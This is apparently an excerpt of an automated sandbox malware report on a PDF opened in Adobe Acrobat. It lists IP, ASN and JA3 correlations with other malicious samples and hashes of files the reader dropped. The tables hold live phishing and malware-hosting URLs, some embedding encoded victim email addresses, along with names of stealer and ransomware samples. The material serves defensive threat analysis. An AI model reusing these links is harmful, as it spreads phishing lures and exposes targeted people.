Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	P4906RXNYH.pdf	Get hash	malicious	Unknown	Browse	104.21.94.195
	http://neuroplus.com.br/asset/payroll/portal/qybVCmrZMa/ben.fillowmen@ne.gov	Get hash	malicious	Unknown	Browse	104.17.25.14
	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.94.195
	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	https://www.google.com.vn/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%RANDOM4%wDnNeW8yycT&sa=t&esrc=nNeW8F%RANDOM3%A0xys8Em2FL&source=&cd=tS6T8%RANDOM3%Tiw9XH&cad=XpPkDfJX%RANDOM4%VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fkayik.com.au/glyxzb/e7365d2bd9a2e2c8b5587a6a9eb341aa/YXdpbGxpYW1zQGtmb3JjZS5jb20=	Get hash	malicious	Unknown	Browse	104.17.25.14
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.94.195
	https://852u.adj.st/credits-opensea/?sk=288xDmHv&adj_t=wt0ujiy&adj_deep_link=eversheds-sutherlandpago://credits-opensea/?sk=288xDmHv&adj_label=MLM_MP_ML-EMAIL_CC_MARA_AO-UCR_ALL_ACT_X_X_DEFAULT_I-EG-UCR-MUTT-MAR-ABIERTO&adj_fallback=https://iondetox.com.ar/g63c/5617939594/Eversheds-sutherland/?eu=Y2xvemFub0BldmVyc2hlZHMtc3V0aGVybGFuZC5lcw==	Get hash	malicious	Unknown	Browse	188.114.96.3
	Aura.exe	Get hash	malicious	LummaC, PureLog Stealer, Xmrig	Browse	104.21.96.1
	Menu.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.112.1
CLOUDFLARENETUS	P4906RXNYH.pdf	Get hash	malicious	Unknown	Browse	104.21.94.195
	http://neuroplus.com.br/asset/payroll/portal/qybVCmrZMa/ben.fillowmen@ne.gov	Get hash	malicious	Unknown	Browse	104.17.25.14
	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.94.195
	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	https://www.google.com.vn/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%RANDOM4%wDnNeW8yycT&sa=t&esrc=nNeW8F%RANDOM3%A0xys8Em2FL&source=&cd=tS6T8%RANDOM3%Tiw9XH&cad=XpPkDfJX%RANDOM4%VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fkayik.com.au/glyxzb/e7365d2bd9a2e2c8b5587a6a9eb341aa/YXdpbGxpYW1zQGtmb3JjZS5jb20=	Get hash	malicious	Unknown	Browse	104.17.25.14
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.94.195
	https://852u.adj.st/credits-opensea/?sk=288xDmHv&adj_t=wt0ujiy&adj_deep_link=eversheds-sutherlandpago://credits-opensea/?sk=288xDmHv&adj_label=MLM_MP_ML-EMAIL_CC_MARA_AO-UCR_ALL_ACT_X_X_DEFAULT_I-EG-UCR-MUTT-MAR-ABIERTO&adj_fallback=https://iondetox.com.ar/g63c/5617939594/Eversheds-sutherland/?eu=Y2xvemFub0BldmVyc2hlZHMtc3V0aGVybGFuZC5lcw==	Get hash	malicious	Unknown	Browse	188.114.96.3
	Aura.exe	Get hash	malicious	LummaC, PureLog Stealer, Xmrig	Browse	104.21.96.1
	Menu.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.112.1
AMAZON-02US	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.49
	ldr_iZHxN1Dnxf.exe	Get hash	malicious	Unknown	Browse	52.29.50.127
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.49
	ldr_iZHxN1Dnxf.exe	Get hash	malicious	Unknown	Browse	18.195.185.2
	SecurityHealthHost.exe	Get hash	malicious	Stealerium	Browse	45.112.123.224
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.129
	svchost.exe	Get hash	malicious	Stealerium	Browse	45.112.123.224
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18
	cCVZk5O7GW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
6271f898ce5be7dd52b0fc260d0662b3	Invoice#T5O2025.xls	Get hash	malicious	Unknown	Browse	150.171.28.10
	Invoice#T5O2025.xls	Get hash	malicious	Unknown	Browse	150.171.28.10
	Order.xls	Get hash	malicious	Unknown	Browse	150.171.28.10
	Order.xls	Get hash	malicious	Unknown	Browse	150.171.28.10
	GUtEaDsc9X.dll	Get hash	malicious	Wannacry	Browse	150.171.28.10
	DHL AWB CUSTOM CLEARANCE.xls	Get hash	malicious	Unknown	Browse	150.171.28.10
	DHL AWB CUSTOM CLEARANCE.xls	Get hash	malicious	Unknown	Browse	150.171.28.10
	https://forrestore.com/static/apps/437.zip	Get hash	malicious	Unknown	Browse	150.171.28.10
	q9JZUaS1Gy.doc	Get hash	malicious	Unknown	Browse	150.171.28.10
	P-04071A.xls	Get hash	malicious	Unknown	Browse	150.171.28.10

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974\Google.Widevine.CDM.dll	V2yjcnvr6z.pdf	Get hash	malicious	Unknown	Browse
	Mmcdonald-Employee-Benefits.docx	Get hash	malicious	Unknown	Browse
	Davx2k2025.doc	Get hash	malicious	Unknown	Browse
	mitel.docx	Get hash	malicious	Unknown	Browse
	https://forrestore.com/static/apps/437.zip	Get hash	malicious	Unknown	Browse
	Remittance.html	Get hash	malicious	Unknown	Browse
	Scan.html	Get hash	malicious	HTMLPhisher	Browse
	https://maya-lopez.filemail.com/t/XhcWEjoR	Get hash	malicious	Unknown	Browse
	Undelivered Messages.htm	Get hash	malicious	Unknown	Browse
	https://dev-alberta-ca.pantheonsite.io/?email=central@ngps.ca	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.175537798175439
Encrypted:	false
SSDEEP:	6:iO+FQHq2PN72nKuAl9OmbnIFUtUFQpXZmwqFQpFkwON72nKuAl9OmbjLJ:7+FavVaHAahFUtUF4/qFg5OaHAaSJ
MD5:	7243336602D50B8BD1631B60D69B04ED
SHA1:	A3DA706EA0B577BDDC2C34AF7FEF828557AF1683
SHA-256:	83FAC4E44928AA459E27850C0783C1BCC6DA3FB63D443FEAA08B2FA8BD33C667
SHA-512:	6A05873CCF80A27417D5B85C0EF7A606E48159012795C9A5959BBF6AF67ED4517F295BAE13AA57994C946FECC9FC6EB49C54AB3DEA4B41C6AB8D4D2BAC884802
Malicious:	false
Reputation:	low
Preview:	2025/01/16-11:19:55.511 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/16-11:19:55.514 1c84 Recovering log #3.2025/01/16-11:19:55.514 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.175537798175439
Encrypted:	false
SSDEEP:	6:iO+FQHq2PN72nKuAl9OmbnIFUtUFQpXZmwqFQpFkwON72nKuAl9OmbjLJ:7+FavVaHAahFUtUF4/qFg5OaHAaSJ
MD5:	7243336602D50B8BD1631B60D69B04ED
SHA1:	A3DA706EA0B577BDDC2C34AF7FEF828557AF1683
SHA-256:	83FAC4E44928AA459E27850C0783C1BCC6DA3FB63D443FEAA08B2FA8BD33C667
SHA-512:	6A05873CCF80A27417D5B85C0EF7A606E48159012795C9A5959BBF6AF67ED4517F295BAE13AA57994C946FECC9FC6EB49C54AB3DEA4B41C6AB8D4D2BAC884802
Malicious:	false
Reputation:	low
Preview:	2025/01/16-11:19:55.511 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/16-11:19:55.514 1c84 Recovering log #3.2025/01/16-11:19:55.514 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.132321546949263
Encrypted:	false
SSDEEP:	6:iO+FQVUQi+q2PN72nKuAl9Ombzo2jMGIFUtUFQ7GZmwqFQ7CVkwON72nKuAl9OmT:7+Ft+vVaHAa8uFUtUFb/qFrV5OaHAa8z
MD5:	AF24749E3D5D577126D8D1E41B0FADA6
SHA1:	A685494201AB6A0976847BBC51ED8900C036AD4A
SHA-256:	7C4B528F76A137EB98A84889D679FC1A2A8F76B91FDB5A77F42029C5B5242676
SHA-512:	559B15BBFB333C5B00DDAE1B3E553170B2C68222C50D919F0BD44FBFA5C7C7AC31BE4A7ECEE23E7D0CC8359A1CEB23ACCC2AEEA49F8E6FF40113BA581A19165E
Malicious:	false
Reputation:	low
Preview:	2025/01/16-11:19:55.569 1cbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/16-11:19:55.570 1cbc Recovering log #3.2025/01/16-11:19:55.570 1cbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.132321546949263
Encrypted:	false
SSDEEP:	6:iO+FQVUQi+q2PN72nKuAl9Ombzo2jMGIFUtUFQ7GZmwqFQ7CVkwON72nKuAl9OmT:7+Ft+vVaHAa8uFUtUFb/qFrV5OaHAa8z
MD5:	AF24749E3D5D577126D8D1E41B0FADA6
SHA1:	A685494201AB6A0976847BBC51ED8900C036AD4A
SHA-256:	7C4B528F76A137EB98A84889D679FC1A2A8F76B91FDB5A77F42029C5B5242676
SHA-512:	559B15BBFB333C5B00DDAE1B3E553170B2C68222C50D919F0BD44FBFA5C7C7AC31BE4A7ECEE23E7D0CC8359A1CEB23ACCC2AEEA49F8E6FF40113BA581A19165E
Malicious:	false
Reputation:	low
Preview:	2025/01/16-11:19:55.569 1cbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/16-11:19:55.570 1cbc Recovering log #3.2025/01/16-11:19:55.570 1cbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	546
Entropy (8bit):	4.94927657970156
Encrypted:	false
SSDEEP:	12:YHgLdvZloqBWsB6um3RA8sqj5nGsBd2caq3QH7E4T3y:YALttB7JsRds45nLdJ3QH7nby
MD5:	9B9E4369B6D3B0797A145000F0D24151
SHA1:	D25B0987A8357E1282BB2A552F598B0E5B31100F
SHA-256:	E0F1E88A7AEFA2E34BC94BD9EAB6A8756FA6AF73AC413579A2058E0436E927DF
SHA-512:	93551F9D1B1B5F2D5949BE75FD46880421575AC94EA3E47E360796C436CD97C7E53C9849BE87C1D4BC2B9702930D42F2D368EA978A70580D8FDFA9A996EF71F1
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"broken_alternative_services":[{"broken_count":1,"broken_until":"1737044705","host":"chrome.cloudflare-dns.com","isolation":[],"port":443,"protocol_str":"quic"}],"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381604407122082","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f315ae53-e011-4e3c-8e91-c7fcbbbb7466.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	546
Entropy (8bit):	4.94927657970156
Encrypted:	false
SSDEEP:	12:YHgLdvZloqBWsB6um3RA8sqj5nGsBd2caq3QH7E4T3y:YALttB7JsRds45nLdJ3QH7nby
MD5:	9B9E4369B6D3B0797A145000F0D24151
SHA1:	D25B0987A8357E1282BB2A552F598B0E5B31100F
SHA-256:	E0F1E88A7AEFA2E34BC94BD9EAB6A8756FA6AF73AC413579A2058E0436E927DF
SHA-512:	93551F9D1B1B5F2D5949BE75FD46880421575AC94EA3E47E360796C436CD97C7E53C9849BE87C1D4BC2B9702930D42F2D368EA978A70580D8FDFA9A996EF71F1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"broken_alternative_services":[{"broken_count":1,"broken_until":"1737044705","host":"chrome.cloudflare-dns.com","isolation":[],"port":443,"protocol_str":"quic"}],"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381604407122082","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5859
Entropy (8bit):	5.253541895126848
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7LUwsW:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhz
MD5:	13199FE564969D6A1D2932DF958D8148
SHA1:	26DAC6DDD4EB07820598090DDCBDEB484F0D669B
SHA-256:	E3262D1DE497B5B3857A24099DBBA698F156573FF73CEFB46A1D560DB1334FFF
SHA-512:	AD83E81716D6F68864EBE13C83A15F0BAEC98FF6B33546BB54E218C81A9CAA6E870F981A3784769FF8F6D7E61A7DD55F80D7FDEA1E766A536ADFE58C45BD47F8
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.162608380797985
Encrypted:	false
SSDEEP:	6:iO+FQCFK+q2PN72nKuAl9OmbzNMxIFUtUFQ7VXZmwqFQ7zQiVkwON72nKuAl9Omk:7+FbK+vVaHAa8jFUtUF4X/qFMDV5OaHP
MD5:	731231D2AEB11C37BE123E2029E8D405
SHA1:	E1ABA1A1D5D52DF8340F3120B336A099B9754C97
SHA-256:	BEC0E9E298FC0DEA2B3B034849C1C0EB8D8288650A68FD3C5121FA10261310A0
SHA-512:	10B06AFC1EE1C40809800AABE9D62632409CF3AE58C4889D8C20672D3543370894F08F622585411D6FEBA27EE737E13E735C9984E2D545D175CCA4D75EA3B136
Malicious:	false
Preview:	2025/01/16-11:19:55.793 1cbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/16-11:19:55.805 1cbc Recovering log #3.2025/01/16-11:19:55.807 1cbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.162608380797985
Encrypted:	false
SSDEEP:	6:iO+FQCFK+q2PN72nKuAl9OmbzNMxIFUtUFQ7VXZmwqFQ7zQiVkwON72nKuAl9Omk:7+FbK+vVaHAa8jFUtUF4X/qFMDV5OaHP
MD5:	731231D2AEB11C37BE123E2029E8D405
SHA1:	E1ABA1A1D5D52DF8340F3120B336A099B9754C97
SHA-256:	BEC0E9E298FC0DEA2B3B034849C1C0EB8D8288650A68FD3C5121FA10261310A0
SHA-512:	10B06AFC1EE1C40809800AABE9D62632409CF3AE58C4889D8C20672D3543370894F08F622585411D6FEBA27EE737E13E735C9984E2D545D175CCA4D75EA3B136
Malicious:	false
Preview:	2025/01/16-11:19:55.793 1cbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/16-11:19:55.805 1cbc Recovering log #3.2025/01/16-11:19:55.807 1cbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250116161959Z-183.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 164 x -148 x 32, cbSize 97142, bits offset 54
Category:	dropped
Size (bytes):	97142
Entropy (8bit):	1.6066301492159307
Encrypted:	false
SSDEEP:	192:tfshUCNuCcODhUFCCUh4ySbTvtiEO5e2QNJvMprOQkrv/qty/CBnROs:g3UHUhtF
MD5:	DBDE46BD877D51F281CB0A94162F79E8
SHA1:	154DD02D1597CF50F922A8743EA5216EB61893BA
SHA-256:	D5552227430CBB34CC8F4C79DE398B01A370F4DD307BE4D39E97094E2F125E0D
SHA-512:	CD9B2160FFD3B5C8F21F328AB41FCDE623EDC485AEC5FDA3044688E79893BACF417DA852C65C52027F672AE1ABA20397D1D339622949F13AC6D69FDCFE3AD214
Malicious:	false
Preview:	BMv{......6...(.......l..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444545824397587
Encrypted:	false
SSDEEP:	384:ye6ci5tRiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mis3OazzU89UTTgUL
MD5:	A65576FA6680B56C22F79103C6A8BB37
SHA1:	48C589854AD05B90AED2061E973F42AD807B98D3
SHA-256:	46EA992021F1FA0A1C2F9B890DAB0C2DBCC78E48722D6D0D0C76F338A4BBF575
SHA-512:	FE0E6D1EEEA7EB31754E9481D565944A166AC54214DCDCC1B9BB2CD415AC96F67279C82C4BDEFC4A54FA47EACA44232024D0059A3805A915909488320ACCE64F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7638669168809527
Encrypted:	false
SSDEEP:	48:7M/JioyV2hioyzioy1C7oy16oy19YKOioy1noy1AYoy1Wioy1oioykioyBoy1noS:7EJu2hiTcsXjBigb9IVXEBodRBk4
MD5:	EA504FB31528126F48ABFA9766AC9E1C
SHA1:	7C61E769C6C0AC69C24AAE38654A56070FE8F77A
SHA-256:	08261ACA63DB694A74843384546B48AA2064D6E2BDFFCDCE6A2B666463E7432D
SHA-512:	3F92147F50E1937937C2613C27CAAA380B5D9F9E18AE1D985F2AC46914D495081246B4AD5368A15B1074121ECA0AE4A7C8BF18A5199E4534BE7E0811ED06023B
Malicious:	false
Preview:	.... .c....../.o...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.362831951678874
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVc8qC0nZiQ0YQKoAvJM3g98kUwPeUkwRe9:YvXKXb0c/5GMbLUkee9
MD5:	7799B04873EEC408A1F0E11B56F3EE52
SHA1:	AF1E0FEE2FFEB1F21A362FD5526AFC039547564A
SHA-256:	8A449FD329A0C81AC7A132C82AA7ED74CA46F3E63F6F5791057B39D2E5311220
SHA-512:	34EEEC2A201AA9DCCCF54DA7497C55D198B9F60156DF3D38C2615C77371E807B6A400DFB1403DD6D0949E51FA2BC87FED26B638D2B789A613B33D0E950CC2134
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.315243550323901
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVc8qC0nZiQ0YQKoAvJfBoTfXpnrPeUkwRe9:YvXKXb0c/5GWTfXcUkee9
MD5:	E18C19B369E7AFEF83B96891C88CDE51
SHA1:	5B99E56557BBC0E2E40A760BA4CFB2CA5D6459E6
SHA-256:	0FAA7EEF58C431395398E0C1EC02F3B161632E561E96E8A6BA9CC1179207352E
SHA-512:	4E44A49E484E824A153513CF26CB2F973CC45DA71EEAC45101F1403CAE8D0B1B135662ECA7EB57044982D4DC08A5B0D378AD4C153E400BADF5B0B6CF1CB0E17A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.293093643900971
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVc8qC0nZiQ0YQKoAvJfBD2G6UpnrPeUkwRe9:YvXKXb0c/5GR22cUkee9
MD5:	158F242E734C6065EBC668787F3BD1AC
SHA1:	9729F592838C74E2354C837428941D3BA912A550
SHA-256:	0564D9AE0EBDAB0837EEF0DBF59440B8F7E9F37FBB901799C23505B17ED102EE
SHA-512:	49924B4290788FAAC1577F66316C4B7E100D6E92517ED7E0FDB412C0F097A9E263B87BA2C91B4E97AFFB4A4BEB1FAE77338419D5BCACAF2BA42AA5BF20DFB948
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.342835880513396
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVc8qC0nZiQ0YQKoAvJfPmwrPeUkwRe9:YvXKXb0c/5GH56Ukee9
MD5:	F729BB113F208FDA5625625C922F8180
SHA1:	E604F472B0ACFF985F219EE55219EFB7EEF5433A
SHA-256:	C9230BF8AE91DE102114C73B742EEEA2DD9F1F1A04C58FC360B2E9765CE1D6FF
SHA-512:	4123DDBCC80E4704DC4AEF027497289A5200F67EFD52FAA31448DAE92C29F3C7FE263F74EA49AFF589FD7C15E18D39E86D58E078E093F29EAE5E412328A78BB5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1d7958d2-24d3-4cde-97dc-04ff0f51c96d","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737219289759,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689373876626369
Encrypted:	false
SSDEEP:	24:Yv6X1GpLgE9cQx8LennAvzBvkn0RCmK8czOCCSd:Yv1hgy6SAFv5Ah8cv/d
MD5:	5B678A9E12E9229FCF1863A09C2CA8CF
SHA1:	8F43C53C843C652DAE95027E59CA2D38DE9F97BB
SHA-256:	D926B52CC17FE67568176F66A7370CB0D79852B6FF77A0AA3C677EB3869E2B69
SHA-512:	7C3BD3705DC8F6C34BE8735BB5B75CB43FCB491CC06A5CF2DED9FCF012A0CCB0272898E8F52FC0646428F8421B117B622D31D9298F425732152EDC6C79CDAF9D
Malicious:	false
